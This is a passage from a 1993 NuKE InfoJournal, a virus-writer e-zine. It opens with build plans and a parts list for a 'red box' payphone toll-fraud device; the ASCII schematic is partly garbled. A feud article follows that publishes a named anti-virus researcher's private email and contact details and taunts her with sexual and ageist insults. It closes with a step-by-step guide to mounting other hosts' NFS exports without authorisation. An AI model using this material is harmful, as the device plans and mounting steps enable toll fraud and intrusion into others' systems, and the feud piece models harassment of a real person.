941 and 1209 Hz to approximately 1708 and 2195 Hz. Since the desired
frequencies for a quarter tone are 1700 and 2200 Hz, the output of the
cicuit is well within tolerance. The cadence is determined by the RC
combination in U3. Each pulse lasts approximately 30ms, followed by 30ms
of silence.
So fraudulent is this red box that we at 2600 have nicknamed it the Quarter.
While all members of 2600 [and NuKE -RS] are morally righteous, and do not
advocate the use of red boxes for fraudulent purposes, we must admit that if
we ever did decide to commit toll fraud, we would trust nothing less than
a Quarter to do the job.
Obviously, the Quarter will not work with Customer Owned Coin Operated
(COCOT) payphones. You may also have some difficulty with newer
electronic payphones, as the phones companies are finally getting hip to
these little devices and are isolating the talk path from the receiver until
the call is established. Still, your Quarter should provide you with hours
of fun-filled listening entertainment. In a world where a one minute payphone
call from Washington DC to New York costs $2.20 (at the maximum discount rate
no less!) it will hardly surprise us at our suburban offices if, while sipping
ou afternoon tea, we happen to read about a sudden proliferation of Quarters
across the U.S.
V+ V+
<20> <20>
<20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ \
<20> 1 <20> <20> 16 <20> /R3
<20>\<5C><><EFBFBD><EFBFBD><EFBFBD>Ĵ16 3<><33><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ12 <20> \
SPKR<4B> <20> <20> U1 <20> <20> U2 <20> /
<20>/<2F><><EFBFBD><EFBFBD><EFBFBD>Ĵ6 11<31><31><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ14 15<31><35><EFBFBD><EFBFBD><EFBFBD>Ĵ
<20> <20> 7 8 <20> <20> <20> 13 6 <20> <20>
<20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>
<20><><EFBFBD> <20> <20> <20> <20>
<20> X1<58><31><EFBFBD><EFBFBD> <20> <20>
<20>R1 R2 <20>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/\/\/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ <20>
<20> <20> <20> <20> <20>
<20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ <20> <20>
V+ <20> <20> 3 6 <20> <20> <20>
<20> <20> <20> 2<><32><EFBFBD><EFBFBD>Ĵ <20>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ8 <20> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> \<5C><><EFBFBD><EFBFBD>Ŀ
<20> <20> U3 <20> <20><><EFBFBD> C1 <20> S1 <20>
<20> <20> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD>
<20><><EFBFBD><EFBFBD>Ĵ4 1<><31><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>
NOTE: All crossed lines on the diagram are points of connection.
PART LIST:
RESISTORS VALUES NOTES
R1 220 kOhms The exact values of R1 & R2 are not
R2 220 kOhms important so long as their sum is 440.
R3 1 kOhms
CAPACITOR VALUES NOTES
C1 0.1 uF
CRYSTAL VALUES NOTES
X1 6.5 MHz 6.5536 MHz is also within tolerance.
CHIPS(IC) NAME NOTES
U1 TCM5089 DTMF encoder
U2 74HC4017 Decade counter. Regular 4017 is okay.
U3 CMOS 555 Timer IC. Regular 555 is okay if a 1
kOhm resistor is inserted between pins
3 and 8.
SPEAKER IMPEDANCE NOTES
SPKR 600 ohms U1 expects an equivalent load.
SWITCH TYPE NOTES
S1 Momentary You may also want to add a power switch.
As printed the circuit expects three triple 'A' batteries for a total of 4.5
volts. A 9 volt battery may also be used, but R1 and R2 should then total
470 kOhms instead of 440. Obviously, you will need a perfboard and chassis if
you expect to build the circuit. Parts may be ordered from electronics firms.
Remember to order at least two of everything so that you will have spares in
case you mess up.
===============================================================================
================================================================================
NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
uK E-
E- "To sara gordon Or Not To sara gordon, That Is Nu
Nu The Question" KE
KE -N
-N By uK
uK Rock Steady E-
E- Nu
E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu
NuKE InfoJournal #7
August 1993
% To sara gordon Or Not To sara gordon, That Is The Question %
In a previous NuKE Informational Journal (#6), we had published an editorial
by Rock Steady concerning the "know-about" and experiences that Rock Steady
has encountered with Ms. Sara Gordon. To our surprise [yeah, right], Ms.
Gordon denied several statements we had written about her, so we at
NuKE asked Sara to write us a response pertaining to that article so we
could publish it in the upcoming InfoJournal.
What you are about to read is the actual letter Ms. Gordon send us, untouched
and unedited. The reason for this is so that Miss Gordon can comprehend that
we in NuKE have no intention to bad-mouth anyone, nor will we let our emotional
judgement cloud our writing. This "Information Journal" *is* factual hard-core
information, and nothing less.
I want you to read the following two captures. One is the reply from Ms.
Gordon. The second is a _private_ reply from Ms. Gordon to John Buchanan
(ARiSToTLE).
All sentences beginning with ">" are quotes from the original article in the
previous IJ. The rest are Ms. Gordon's comments (and her vivid imagination).
All sentences in brackets are comments by Rock Steady and NuKE.
% Capture #1 -- Sara Gordon's Official Reply to NuKE %
---------------------------------------------------------------------------
i've been sent your6 info journal (not by one of your own people this time),
and wanted to comment on something in it:
the comments are both to you and to the fellow who wrote these quotations:
>Get the picture? Yes, we all heard it before, I'm a deranged lair. The Anti-
>Virus community is _not_ maniacal to associate themselves with us. We all
>heard of Sara Gordon screaming out, `I never called an underground exchange
>board', she will never admit it. Nevertheless Sara Gordon holds the phone
i do not say i have never called an underground exchange board. why, in
our conversation last night i told you i -have- call them, to talk to the
sysops and virus authors. i have called on at least 10 of them (not many,
i know), that deal strictly with viruses. some in u.s.a., some not. i don't
upload viruses to them. i don't call them to 'spy' on what is going on there.
usually i call if i'm invited. i've talked about calling them in several
articles. why would you think i would deny this.
[10 times? 10 to what power? Don't upload viruses to them?! But you do upload
viruses to the so-called AV, right? The AV is the cause of all the viruses
out there, not us.]
and i don't scream. thats the radish's job. and, i use my real name when i
am the one calling. why, sometimes even other people call using my real
name :).
[You don't scream? Hmm, you sound calm enough -- I wondered what happened
in the next capture!]
however, if by association, you mean, do i do the same things you do, the
answer is i do not; at least, i don't write and distribute computer viruses,
or hacking/phreaking/carding information.
[True, we don't harass people, or try to "double-dare" them to do vengeful
acts for you. What's this now, you DON'T distribute computer viruses? Not
even to the AV? Come on you know that _is_ a lie. Sara, we _don't_ suspect
you of distributing viruses, we _KNOW_ you do. It's been proven by our
receiving of viruses... If you must lie, please make them more believable,
put in some statistics in 'em sentences, at least it'll be partially right.]
>number of Cybernetic Violence, Black Axes, The Hell Pit, etc. Sara doesn't
of course i've called black axis. or it is axes now? and, i've talked to
kato at the hell pit a few times. voice, even, after the ridiculous phrack
article. i think its been over a year now though since i've called him,
or he has called me.
[I know you have. I also know your "Dark Avenger article" was the best scam
ever. ]<0oL YoU'r<> <20>0w <20>N<EFBFBD> 0f <20>s!]
ive never called cybernetic violence that i can remember, i think i -may-
have it in an overhead slide for a presentation, but i've not called it.
i told you this last night. 'holds the phone number of'...gee, so does the
phone company. and probably every law enforcement agency in the world.
[Gee, Sara, but you seem so damn proud to tell people that you hold the
numbers...]
>associate herself with low-lives like ourselves, as she explains. Nevertheless
>she has CLAIMED to have called up The Hell Pit BBS, and uploaded 3 fake viruses
>and exclaims how easy it was to obtain virus access there. Now there's a
wait. what exactly are you talking about here? can you please explain
[Oops, memory lapse!]
this? it -is- easy to obtain access there. and yes, three dummy viruses were
uploaded there to prove this point. it was a (very small) part of some
research data gathered to illustrate that the real problem of virus exchange
bbs was not the -viruses- but was the attitudes being presented and tossed
about. why, screaming radish, you agreed with me just last night on the
phone (when you called me) that a lot of those people are putting out
attitudes that -are- the problem.
[Our point exactly, and now your stealing our ideologies. You seem nice and
calm in this message, but that is because you _know_ that this article
was to be published, but what about articles you don't expect published?
Are you this well-bred in them? I think not, as we reveal your private
e-mail in the next capture. BTW, any security flaws at the Hell Pit have
been fixed long ago...there's no way she could get in now without a real
virus.]
as far as not associating with what you call 'low lives like ourselves',
don't be silly. i never said i dont associate with anyone, i don't call
virus exchange bbs and upload computer viruses, because i think that once
i would let a virus out of my control, i would have done an irresponsible
thing.
[You didn't seem so distressed by helping to distribution of NED amongst
the AV. Remember the AV _are not_ better than us. They are not above the
law, and they don't have "better" morals then we do. They _think_ they
do, but deep down its that money they wants. And they'll do whatever it
takes to get it! Hmmm, capitalism, ain't it charm. Then you wonder why we
wish to be anonymous, we have lives...]
i've never called anyone a low life that i can recall. you are that one who
keeps using that term regarding yourself. i know only a small portion of your
lives, and wouldn't begin to judge you. i only say that certain actions
of virus writers are irresponsible; those actions i can judge because i've
seen the consequences of them
[You can't recall? Humms, memory lapse (again), common in elderly women,
isn't it?]
>contradiction. Now who are you going to believe? Rock Steady, with a record for
>hacking, and suspected of other cyber-crimes, or Sara Gordon with not even a
>bug-stain on her record? Wait, let me tell you some more. Sara Gordon is not
>totally `white', since Sara doesn't associate herself with `us', I guess the
>conversation we had concerning her wanting to invite a person called `Nowhere
>Man' to dinner was a figment of my imagination. Also, the crap she said to me,
of course i associate with you. why would you ever think i would say i
don't. i did want to invite nowhere man to dinner. why not? ive had
dinner with far more proficient virus writers and hackers than him
:) seriously, why would you think i would be 'ashamed' of this?
[WAIT! Now you associate with me? This memory lapse thing is much more
serious than I thought! A word of advice when lying, Sara, try sticking to
ONE and ONLY ONE fabrication, don't start combining it with memory lapse
and then other stories. Hell, why would you be ashamed of associating
yourself with me. I _can't_ think of any reason!?! This associating
think scares me, I think its time NuKE chips in and gets you a man,
unless of course that isn't your preference! (No offence intended.)]
[Well, Sara, name those "more proficient virus writers" you've "eaten" (69?)
with. Perhaps your sweetheart, Dark Avenger? I can see it now, a bottle of
wine, some roses, that charming Slavic accent...head over heels I tell you.
See Rock, she is straight, after all! BTW, I have never claimed to be a
hacker. I am not a hacker, and I resent being associated with hacking, which
is an (wrongfully) illegal activity in most areas, whereas virus writing is
not -- and I don't support illegal activities. I dunno, I bet her memory
problems is caused by some new virus from Bulgaria...a sexually transmitted
one. :-) -NM]
i don't know what your problem is with me. i run a free bbs to give out
information on viruses and security. i write articles that bring the
positions of both sides into the public eye.
[You bring the positions of both sides? Right...]
im really quite tired of being quoted for things ive never said. get
this straight--i do not find any problem with writing a computer virus.
[Uh-oh, that memory problem again...]
it's code. what is the problem, at least as i see it, is the
irresponsible act of letting that code out of your control. as i said
to SR, if you let people d/l viruses from your bbs, you are helping to
increase the problem. you're helping to add to the already shaking
trust situation that exists out there. well, since your last journal said
this is your goal, to eliminate every last piece of user trust in anti-virus
software (you specified frisk and mcafee, i think), i guess you are
accomplishing your goal. congratulations. personally, i think its
irresponsible, and not only that, you are helping some of the
anti virus product developers who do prey on the same fears to keep
right on taking advantage of the innocent users.
[So what are you going to do? Outlaw Viruses to "regular" people? And only
AVers will be able to hold virus collections? That's almost like racism. What
makes you better than us? We do this for the intellectual challenge, we don't
seek money, we only teach those that wish to be taught! We also teach
awareness, truth, reality. At least we agree about the anti-virus makers,
making big bucks from this. But we can't bluntly make a law that is "racist,"
you don't have to be from different ethnic groups to inflict racism you know.]
>about getting her in contact with virus writers in Australia, was a figment
>of my vivid imagination. Come on Sara, I heard it and you said it. Of course,
>this is simply my word against yours. Son of a gun Sara, didn't you hear all
>them `clicking' noises during our conversation? There was someone else on the
>line Sara! Someone, that kept on receiving calls, and therefore he/she had to
>switch and answer the call, via MaBells `Calling Waiting' service.
oh, you recorded the calls? i don't have call waiting, and i don't care
if whoever listens to your calls listens to mine. yes, of course i said
it. and yes, of course i wanted to get in contact with talon (harry
mcbungus, terminator zed, et.al). i talk to a lot of virus writers, and
hackers. what makes you think i would deny this? i would not deny this
any more than i have publicly stated the errors i made when i first got
involved in the fun world of computer viruses. i've never tried to hide
any of this. in fact, ive had it published, in major publications, as
well as conference proceedings. why do you think i'd try to hide my
contact with anyone?
[Of course you don't hide from contacting virus writers, it gets you alot of
coverage, humm 4 straight issues of VNI, nice. I'm quite sure you got those
articles laminated in wood, right? But what _measures_ will you _seek_ to
endure in these contacts. That is the question at stake, Sara.]
>See I guess this isn't after all, just a figment of my imagination. Since I
>conference the call, my phone bill supports the fact that TWO calls were made
>at the same time from my number! One was to the alleged person in the
>background while the other was yours! (Sara)
must be. i don't exactly understand what you are talking about, but i
guess you do. i figured you were conferencing. hope you paid for it.
by the way, why did you try to tell me you were talon? your accent is
definitively from montreal.
[Don't understand? Instead of memory lapse, you now conclude that you don't
have an adequate grasp of the English language? Nice One! Hope I _paid_
for it?! You think I'd risk calling anyone up fraudantly? That's _illegal_
Sara, I'm sure I got tons of officials "expecting" me to do just that so
they may get rid of me for good. Uh-uh girl, I wouldn't give anybody a
second in the day to catch me in any illegal activity.]
its pretty rude to allow other people to listen in to conversations;
most adults wouldn't do it. do you think its just normal and acceptable
to do it? i don't. however, i would not have 'denied' any inviting of
virus writers to dinner or elsewhere even if you didn't have some
'proof'. i've clearly stated, in publication (see this months personal
computer world u.k.) that i talk with a LOT of virus writers.
[Pretty rude? It's my word against yours. This way I got someone backing me up
on your side. Don't expect CARO membership just yet, girl.]
>Oh yes, I'm a bored teenager derange liar wanting to bust balls. Frankly, no one
>admitted in NuKE is a teenager. Frankly I'm currently in a respectable banking
>position, nevertheless I still am pursuing my Masters in Mathematics, and may
>this even lead to a Ph.D., of course by then I'm expected to sprout out of my
>satanic puberty stage and into adulthood. Even though I'm way passed the legal
>adult age, may you still say its a hormone thing. Frankly, when just is not done
>and lies are tossed over to the public, discrediting our history, with your
>influence of power. <Yes, corruption of power> Until that day of just, until
>that day of truth comes out, then that will be the day you will get rid of me.
no one admitted in NuKe is a teenager? better check those birth certificates...
[Lemme guess, its a _reading_ problem now? Flash me yours and I'll show you
mine <wink, wink>. Uh, birth certificates, I mean.]
>You see this isn't about me, this is about the you. <The AntiVirus community>
>This isn't something you `mature out of', when do you mature out of injustice?
>In what point of life is injustice okay?
it's not ever okay.
>The Virus problem has been solved, now what about the Anti-Virus Problem?
okay, so after our talk last night i had a few ideas i wanted to talk
about with you, but if -this- is the kind of thing you are going to
print, i think probably you don't want to hear what i have to say. i
think it seems you would rather print things you imagine.
[Trust me, if -this- is your kind of attitude, take a walk sister. No fame
coming to you from our direction...]
sara
--
SGordon@Dockmaster.ncsc.mil / vfr@netcom.com bbs: 219-273-2431
fidonet 1:227/190 / virnet 9:10/0 p.o. box 11417 south bend, in 46624
the villian goes to jail, the hero goes free. i wish it were that simple for me.
@Via RTrk 3:632/998@fidonet, Jun 25 1993 at 02:24
-----------------------------------------------------------------------------
% Capture #2 -- The Juicy Part %
In the following capture from Sara Gordon, who hot-bloodedly tried to
shoot NuKE down due to our gain of public support Ms. Gordon still likes
to imagine that NuKE is a bunch of hackers intent on viral destruction. This
is as spurious as you can get, NuKE is a publicly available organization.
Anyone is free to call up our systems and request access. We have nothing to
hide, all is open. We wish to communicate with the public to a great extent.
This also is an invitation for people in ALL walks of life who may speculate
about NuKE to simply call us up! I cannot talk on behalf of every NuKENet BBS
out there, as I cannot control them, but I can speak for myself, and I invite
anyone to call the World Headquarters of NuKE, Cybernetic Violence,
+1 514 426 9194. We feature a 14.4k v.32bis US-Robotics modem, and also have
Bluewave mail installed into our BBS so that you may download/upload all
messages without having to stay online reading messages. As we too understand
that time is costly over the phone lines...
-----------------------------------------------------------------------------
* Originally by Sara Gordon, 1:227/190
* Originally to John Buchanan, 1:271/297
* Originally dated 24 Jul 1993, 11:35
* Original: FROM: Sara Gordon
* Original: TO: John Buchanan
* Original: AREA: <V>_Local
* Forwarded by Sara Gordon
* Forwarded Using QuickBBS 2.76
* Forwarded at 11:40 on 24-Jul-93
In a message to Sara Gordon <07-24-93 10:29> John Buchanan wrote:
JB> Sara,
JB> I guess what makes me so cotton-pickin mad about the AV are posts
JB> like what I saw you direct towards me. The "ENTIRE" set of NUKE echoes
i only responded to a statement you made that is incorrect.
JB> are open to the public, yet you choose to imply they are private.
they are not open to the public. i don't imply it. i state it quite clearly.
so, then you will be fwding the pertinent posts to the public? i bet.
would you like me to do it for you? c'mon john. you don't expect me to believe
that i will have access to those echos if i call you bbs? -all- of them? ok,
lets see. you tell me i will, and ill call and check it out.
[Notice the different attitude expressed by Miss Gordon, when she _doesn't_
expect anyone to be reading private Netmail! Notice the hot-blooded tone
of voice. Notice how she double dares Mr Buchanan ("c'mon john"), insinuating
that John is afraid to post it to the public that NuKENet is available to
anyone, which it is! As long you support NuKE ideologies, and respect what
people have to say, then NuKENet can be easily obtained for your BBS.
Actually I _double dare_ Ms. Gordon to pick up NuKENet and make it
publicly available to her users! I guarantee she won't "lower herself to
our level"!]
JB> Also, you state that they carry posts concerning PBXing and such. To
JB> my knowledge and extent of control, they do not exist and should they
you know they do. and you know that i know it. so lets stop playing around,
at least have the decency to be honest about it.
[What a <CENSORED>! She will not stop screaming! In the past, we have plucked
out any system on NuKENet that posts any illegal material, such as PBXs!
(Just in case Miss Gordon wonders what "illegal material" means to us.) Today,
we still stand on that same agreement and we are happy to report that no
such posts has made itself known on NuKENet! Sara claims she has many,
many people that capture messages from NuKENet and bring them to her.
Yet she has NEVER had any real proof of her phoney statement. Let's just
face it, Sara's a FAKE!]
JB> maker their appearance, I take EVERY action available to me to either
JB> squelch them or cut them off at the source. It really rips my tail
JB> when people in your position abuse the "language" of professionals
oh please, if you make every effort to cut it off then why is it so blatantly
still there, repeatedly? im not in any 'position'. im just a normal person
who lives in the cyberspace, and who is sick of seeing it get all screwed up.
[Notice the attitude once more. She REFUSES to hear us out! We at NuKE under-
stand, and have the dignity to respect any opinion Miss Gordon has to say,
right or wrong, we have even published her reply to our previous NuKE IJ
article, unedited! Yet, she refuses to hear us out, personally she seems to
express a hatred towards us. And no matter what we do, Miss Gordon will
always detest us. She complains that "virus writers" show utter hatred towards
her. I guess they saw the _real_ Ms. Gordon, as we are witnessing in this
private e-mail.]
JB> You wonder why I do the way I do in the echos. Nothing I post about
JB> the AV is made up in fabrication sessions. I try to inform the
JB> general public about their involvement in the virus exchange arena
JB> and the underlying motives in this issue of legislation. Why not take
JB> a different stand and research what I say? If it ok by you, I will
i have researched what you say, john. and what you do. what you post is made
up in some cases. you want me to quote it for you? forget it. im finished
trying to help a bunch of people who want to destroy what is precious to me,
and to a lot of other people.
[No, Miss Gordon, it is _we_ whom have researched you. And not only did we not
buy your first reply, according to the reply of NuKE IJ #6 article (that
first reply was unbelievably bogus, as it didn't express _any_ of your
_real_ opinions, it only expressed the opinions you wanted the public to
behold), nevertheless we see the true Miss Gordon here, don't we?]
if you want to talk about underlying motives of legislation, you are looking
in the wrong place, john. its the virus d00dz like nowhere man, and the rest
of the 'cute named guys (and gals) like 'pure energy', and that whole bunch
that brought this down on us. not any anti-virus 'cartel' or that other
nonsense you are talking about.
[And now she insults us!]
[Oh, I'm a "virus d00d" now Sara, eh?! Is Dark Avenger a "virus d00d" too?
Or does that label apply only to men you don't sleep with?! Are you trying
to imply at Pure Energy is a "gal?" Well, I can assure you that he's not,
I've spoken with him many times, and I can assure that he is a male. Uh oh,
maybe I shouldn't have said that, now she'll probably be after you P.E.! -NM]
JB> send you a small collection of 43 files that originated from
JB> Soloman's lab... check them out for yourself, but daggone girl, y'all
JB> ask me to stop posting these little messages, how about a tiny bit of
JB> help in this area...
if its ok by me. c'mon john. you promised to send me you viruses a long
time ago so i could use them in my evaluations project. i've been working,
doing - real - work, all this time, while you have been setting up you nuke
the world, nuke this and nuke that. i doubt youd want the general public to
see what goes on there. im so sick of it and by it that i dont even read what
those guys send me from it any more. i dont know how you can look in the
mirror after some of the stunts you pull.
[No, no, no Miss Gordon, _personally_ we don't know how _you_ can look in the
mirror after all theses stunts _you_ pull. You only fantasize about our stunts,
please let them be publicly known, as we have let your stunts be publicly
known. I'm afraid you can't do it, as we don't pull "stunts." Only you Sara.]
ill check out anything you send me, but i don't believe you anymore. not for
a minute. if you were who you say you are, and were really concerned about
the cyberspace environment, you would not say some of the things you say,
creating more confusion, accusing good decent people of things that they
don't do.
[The only confusion here is your change of attitude, Miss Gordon.]
and by the way, 'infiltrate' is not -my- word. i didn't write it and the
editor has issued a -retraction-
["Infiltrate" not your style? Right, isn't that a requisite course for those
associated with .mil (military)! Yes, I can see it now, this is truly a
conspiracy in the making. Can't you governmental people do anything right?]
-----------------------------------------------------------------------------
Rock Steady/NuKE
===============================================================================
===============================================================================
NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
uK E-
E- "An E-Z Guide To Remote UNIX Disk Mounting" Nu
Nu KE
KE By -N
-N uK
uK Lvx E-
E- Nu
E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu
NuKE InfoJournal #7
August 1993
% An E-Z Guide to Remote UNIX Disk Mounting %
Remote disk mounting on UNIX systems requires root access on the base
system. The procedure is as follows:
1. Create a temporary directory (/tmp/lame in this example).
2. Query target with "showmount -e host.addr.addr".
This will illuminate you as to which (if any) filesystems may be
mounted from your machine. It will reply with:
hostname:/directory/directory -options
where options are the mounting options (rw, ro), who may access
(host1:host2:...) and other sundry niceities.
showmount -e hostname uses mountd on the remote to read the remote's
/etc/exports.
If your machine is listed in the access field, or if access reads
"everyone," you may mount that filesystem.
3. Pick a filesystem you would like to mount. Remember that you can
mount the subdierctories of the mountable directories.
4. Mount the filesystem.
mount hostname:/filesystem/remote /tmp/lame
5. Do whatever you want with the filesystem.
6. Unmount the filesystem.
umount /tmp/lame OR #umount hostname:/filesystem/remote
REMEMBER:
- You must leave the directory you are unmounting.
- ALL mounts (failed or successful) are noted in /etc/rmtab on
the remote system. /etc/rmtab remains until purged.
- You must specify full pathnames when mounting and unmounting.
MORE:
- An entry of "/filesystem/directory " with no options in
a host's /etc/exports will allow world-mounting of that system.
- Remote mounting often uses RPC and NFS. It will work most
often on Suns and workstations networked with Suns (ie: using NFS).
Lvx
[Note: Lvx can be contacted at The Hell Pit +1 708 459 7267 or at
Nitro Burnin' Funny Cars +1 312 582 1115. -NM]
===============================================================================
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